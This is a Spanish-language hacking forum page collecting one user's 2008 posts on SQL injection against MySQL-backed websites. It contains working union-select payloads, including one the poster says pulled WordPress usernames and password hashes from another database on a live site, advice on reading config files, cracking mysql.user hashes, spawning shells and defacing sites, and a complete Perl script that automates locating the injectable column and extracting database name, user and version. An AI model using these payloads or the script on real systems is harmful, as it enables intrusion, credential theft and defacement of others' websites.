Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - OzX

#111
Nivel Web / Re: SQL Injection Tool
27 Diciembre 2008, 03:40 AM
Cita de: Hacker_Zero en 27 Diciembre 2008, 02:55 AM
Ah pos no lo sabía, ya podría darle mil vueltas al código cuando no me funcionara, jaja. Pues no queda más que prescindir de ello si las magic quotes están on  :-(.

Gracias  ;)


Cita de: OzX en 26 Diciembre 2008, 23:06 PM
into outfile
acordate que tiene q tener magic quotes off, pork el docuemnt root tiene q tener ""

saludos¡


era lo que te decia brota
saludos¡
#112
Nivel Web / Re: SQL Injection Tool
27 Diciembre 2008, 02:06 AM
Cita de: Hacker_Zero en 27 Diciembre 2008, 00:49 AM
Puede ir en hexa, por eso no hay problema encontreré la forma de pasar los filtros, jeje. Me preocupan más los privilegios.

Saludos

http://foro.elhacker.net/bugs_y_exploits/como_hacer_into_outfile_si_tengo_magicquotes-t234737.0.html
Cita de: sirdarckcat en 12 Noviembre 2008, 04:47 AM
noup, no se puede.. =(

LOAD DATA INFILE y SELECT INTO OUTFILE no aceptan encoding en el nombre/path del archivo..

Saludos!!

Saludos¡
#113
Nivel Web / Re: SQL Injection Tool
26 Diciembre 2008, 23:06 PM
into outfile
acordate que tiene q tener magic quotes off, pork el docuemnt root tiene q tener ""

saludos¡
#114
Cita de: sirdarckcat en 12 Noviembre 2008, 04:47 AM
noup, no se puede.. =(

LOAD DATA INFILE y SELECT INTO OUTFILE no aceptan encoding en el nombre/path del archivo..

Saludos!!

uhmmmm ... gran aporte, yo siempre me jodia en el path root, para poder hacer la inclusion me daba error y todos los videos tutos que veia eran basados con magic off. con razon =/.

buscando y buscando...
(mientras busco pego los resultados)

INTO OUTFILE %/home/z.php% works, if "%" is the field delimiting character being used. Magic quotes totally fails in that scenario.
Fuente :http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2007-01/msg00094.html



you can't use char() with into outfile cause there is no way to encrypt web root path.
correct. I heard some people saying it´s possible to bypass magic quotes using INTO OUTFILE but i couldn´t get closer information about this yet.

Fuente :http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=5814



Tb Encontre algo Interesante
http://www.h4cky0u.org/viewtopic.php?f=9&t=32064

si tienes acceso al phpmyadmin, puedes hacer la consulta directa. un post de un tal jack.


Todos apuntan al exo que te jode la vida magic, pero que con loadfile, y con acceso remoto a la mysql, se podria hacer de todas formas. entrando direcamente con navicat u otro, o al phpmyadmin.

You can also use the load_file() command to load a .php file. If a webpage uses a MySQL Server they have to write down the password to access the MySQL in the .php File. If you load the file you will be ale to get user and pass for MySQL Server. Then you can connect to the MySQL Server and can execute MySQL commands without getting f**ked by magic quotes. Then you can spwan a shell and deface wesite if you have a user with FILE rights.

...
but you could get other users and passwords with access to mysql.user to crack the hash. Very often there are seperate users with % Host, so you could connect from every where ;)


en fin es mejor los archivos sensibles, mysql.user, crackearlos y ver si tienen mysql remoto o phpmyadmin.




#115
Nivel Web / Re: SQL Injection Tool
20 Diciembre 2008, 21:17 PM
Cita de: Hacker_Zero en 20 Diciembre 2008, 13:02 PM
Bueno, ya estamos trabajando en la nueva versión, de la que ya os adelanto estará programada en Java por lo que será multiplataforma. Conforme al método de deteccion, pues si, tienes toda la razón, por eso muchas veces da falsos positivos, es una de las cosas que estamos tratando de mejorar, como bien dices, la clave es combinar muchos métodos para darle al programa un porcentaje mayor de eficacia.

La segunda pregunta no la entiendo del todo. Las tablas las saca de information_schema con usando limit, ya que usando group_concat(table_name) en muchas páginas no salen todas porque el ancho de la página está limitado. Las columnas las saca con group_concat(column_name) de information_scheta, ya que suelen ser menos columnas y normalmente se pueden mostrar así todas, aunque es otro de los puntos a mejorar, en la nueva versión eligirá el camino mas rápido y efectivo. Para sacar datos de columnas pues no debería tener muchos problemas, sólo que la longitud de los datos está limitada, no sé si puse 50, que si los datos sobrepasan esa longitud no se muestren.

Saludos y gracias por las ideas  :)

;D

Pues claro, por ej si tu mezclas la deteccion de errores en la pagina (metodo 1)
con los valores booleanos (metodo 2).
mas algun otro metodo.

hay podrias sacar algun porcentaje de "validacion de la vulnz" la cual seria muy eficaz.

de todas formas todas las webs son distintas y las variables desconocidas son las que mas dan dolores de cabeza. es por ello que es bueno testear bastante. yo estoy codeando algo similar pero en php. cuando tenga la verison 0.1 terminada te la muestro. para compartir ideas.


sobre lo segundo, difiero en algo.

si la obtencion de informacion es basado por el schema, entonces tienes ciertos privilegios del sistema , por ende , muxas veces no todas, pero si un gran % tienes acceso al group_concat. por lo cual es bastante efectivo mezclado con el schema, pero como tu decias, aveces no muestra toda la informacion en pantalla. por lo cual lo bueno es ocupar limit. (y aunque no lo creas en algunas webs con blind, me e encontrado que limit esta bloqueado, y no se como se sacarian los datos si no tienes group_concat, o limit, nada mas obtienes el primer valor).

podrias por ej tomar los 20 primeros valores del group_concat, que es la media que muestra en pantalla, y luego de esos 20, vas con limit del 20,21 y asi, pero la primera obtenida de informacion ocupas group_concat, ahorras recursos al hacer menos conexiones , te ahorras 19 conexiones.

otra cosa que es un dramilla que encontre codeando.
que pasa si la web es sid=12&path=album
es facil solucionar, separas por & y luego maketas de vuelta.


bueno ganas brota ¡

OzX¡
#116
LO SOLUCIONEEEEEEEEEEEEEEEEEEEE


tan estupido pordios, tenia el resultado hay¡¡¡

pues me di cuenta que el mismo information schema, es una db separada tonce me crujio la teja
tonce provemos

information_schema.tables

si information_schema <= es la db
y .tables <= es la tabla

tonce cambiemos eso y¡
+and+1=0+union+select+all+1,2,3,concat(user_login,user_pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wordpress_cri.wp_users


SHAN¡ asi puedo ver la informacion de las otras DB¡

jawjwaj wn duro las cago pero me salio XD¡

gracias a las 10 visitas q vieron el post XD¡
#117
Hi¡
Bueno, al grano
Tengo una web que tiene muchas base de datos (gracias a information schema schemata).
Llamemosla

db1
db2
db3
db4

La web trabaja con al db1, por lo cual si yo hago algun

union+select+all+1,2,campo_que_no_existe,3+from+tabla.

me saldria
Table 'db1.campo_que_no_existe' doesn't exist


Ahora bien yo tengo las tablas y los campos de todas las base de datos, gracias al information schema (again XD').

Pero si yo intento hacer una consulta me dice que no existe la tabla ni el campo ni nada, pues claro estoy intentando hacer una peticion a la db2, pero esta por defecto las hace a las db1.


ahora bien leyendo y preguntando, descrubri el "USE DB", que sirve para selecionar una base de datos y luego hacer la consulta.

http://dev.mysql.com/doc/refman/5.0/es/use.html

Por EJ
mysql> USE db1;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db1.mytable
mysql> USE db2;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db2.mytable



MI Problema es¡¡¡

¿Como C"·$%&/? Combino la Sentencia USE en una Inyeccion SQL?


Asi no Funciona (Aunque Cambie el valor de la db a char o hexsql o dejo asi para que se entienda mejor)
and+1=0+union+select+all+1,2,3+from+wp_users+use+wordpress_cri

o... tampoco
and+1=0++use+wordpress_cri+and+union+select+all+1,2,3+from+wp_users


Espero que me puedan Ayudar :D

Saludos¡
OzX¡

concat(user_login,user_pass) <= CAMPOS
wordpres.cri <= db
wp_users <= tabla de la db
EDITADO LO LOGRE¡
+and+1=0+union+select+all+1,2,3,concat(user_login,user_pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wordpress_cri.wp_users

:d



#118
Nivel Web / Re: SQL Injection Tool
19 Diciembre 2008, 22:33 PM
me gustaria aportar algo para esto del 1=0, y 1=1, no siempre estas tan efectivo
que pasa si tiene texto aleatoreo? textos de bienvenidas distintos?
o si muestra la Hora? (que no sea js).

o tantos otros factores, que en cierta medida no es un 100% eficaz. aunque si puede ser un metodo para detectar, sumandole otros, como verificar si existe algun error en al ingresar ' ,-1, etc
erroo  mysql_fetch, y todos esos errores que salen, si se logran mezclar con esos seria un margen bastante mas pekeño.

otra cosa.
si una tabla usuario tiene 400 datos, como sacaria todos esos datos?

Animo y espero que sigas lanzando versiones brota.
Saludos¡

#119
Nivel Web / Re: SQL Injection Tool
10 Diciembre 2008, 20:16 PM
felicidades bro, la idea esta genil. bastante util¡.
a mi me pasaba lo mismoo en C#, que cuando obtenia datos de source de web no habia q tocar nada.
talves hay que ocupar hilos para que se separe el proceso. para k no pete cuando se toca el form.

Pero en general clap clap bro¡
#120
Hi.
Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos.

En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla.

Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej.

.../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7

Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion.

SAludos¡



use LWP::UserAgent;

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
}
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}